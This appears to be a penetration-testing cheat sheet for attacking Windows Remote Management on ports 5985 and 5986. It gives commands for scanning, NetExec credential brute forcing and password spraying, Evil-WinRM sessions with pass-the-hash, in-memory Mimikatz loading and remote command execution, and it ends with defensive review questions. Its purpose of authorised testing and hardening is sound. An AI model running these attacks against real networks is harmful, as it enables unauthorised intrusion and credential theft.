Pentesting WinRM Ports 5985 and 5986

Pentesting WinRM

Windows Remote Management (WinRM) is Microsoft's implementation of the WS-Management protocol, exposing PowerShell remoting over port 5985 (HTTP) and 5986 (HTTPS). Alongside SMB and RDP, it's one of the most common paths for remote administration and lateral movement across a Windows estate.

From a pentesting perspective, WinRM is frequently reachable with the same credentials recovered elsewhere in an assessment, and unlike RDP it drops straight into an interactive PowerShell session rather than a full desktop, making it one of the fastest routes to command execution once valid credentials are in hand.

Discovery and Enumeration

Start with a basic connectivity check before reaching for any tooling. Confirming the port is actually listening (rather than filtered) saves wasted time against a whole subnet.

1
nmap -p 5985,5986 --open -T4 -Pn -n 10.1.1.0/24     # Scan a network range for open WinRM ports
2
nc -z -w1 10.1.1.1 5985; echo $?                    # Quick connectivity check, 0 means the port is open

NetExec can confirm the service is actually WinRM (rather than just an open port) and, where a session is already available, whether the current identity has permission to use it:

1
nxc winrm 10.1.1.1                                  # Confirm the service and grab a banner
2
nxc winrm 10.1.1.1 -u '<username>' -p '<password>'  # Test whether a set of credentials can actually open a WinRM session

Testing and Spraying Credentials

Since WinRM sits behind the same domain credentials as everything else, it’s a natural target once a password list or a single sprayed password is available.

1
nxc winrm 10.1.1.0/24 -u users.txt -p passwords.txt                                 # Brute force a list of usernames and passwords
2
nxc winrm 10.1.1.0/24 -u users.txt -p 'Winter2026!' --continue-on-success           # Password spray a single password across every user
3
nxc winrm 10.1.1.1 -u '<username>' -p '<password>' -d <domain>                      # Specify a domain explicitly if the SMB port is closed

Connecting with Evil-WinRM

Once valid credentials are confirmed, Evil-WinRM is the standard tool for opening an interactive PowerShell session over WinRM.

1
evil-winrm -i 10.1.1.1 -u '<username>' -p '<password>'                # Standard password authentication
2
evil-winrm -i 10.1.1.1 -u '<username>' -H '<nt_hash>'                 # Pass-the-hash, no plaintext password required
3
evil-winrm -i 10.1.1.1 -u '<username>' -p '<password>' -s ./scripts   # Load a local directory of PowerShell scripts into the session
4
evil-winrm -i 10.1.1.1 -u '<username>' -p '<password>' -e ./exes      # Load a local directory of executables into the session

Once connected, Evil-WinRM’s menu command lists the extra functions the session ships with, including Invoke-Binary, which loads and executes a .NET binary like Mimikatz entirely in memory without writing it to disk. See the credential dumping page for that specific workflow.

Command Execution and Lateral Movement

Where a full interactive session isn’t needed, NetExec can execute a single command directly, which is faster when checking access across many hosts at once:

1
nxc winrm 10.1.1.1 -u '<username>' -p '<password>' -X whoami                                        # Command execution with WinRM
2
nxc winrm 10.1.1.0/24 -u '<username>' -p '<password>' --laps                                        # Execute a command as the domain if LAPS is used

PowerShell itself can also open a WinRM session natively, useful when operating from an already-compromised Windows host without additional tooling available:

1
$cred = Get-Credential
2
Enter-PSSession -ComputerName 10.1.1.1 -Credential $cred                                       # Interactive remoting session
3
Invoke-Command -ComputerName 10.1.1.1 -Credential $cred -ScriptBlock { whoami; hostname }       # Run a command without an interactive session

What Should We Look For?

Is WinRM reachable from outside the segments that actually need to administer the host, rather than being restricted to a jump box or PAW subnet?
Are accounts other than domain/local administrators members of the Remote Management Users group?
Is HTTP (5985) still in use where HTTPS (5986) with certificate validation would prevent credential interception on the local segment?
Are the same credentials that open a WinRM session reused across a large number of hosts, turning one compromised account into broad lateral movement?

5985/5986 - WinRM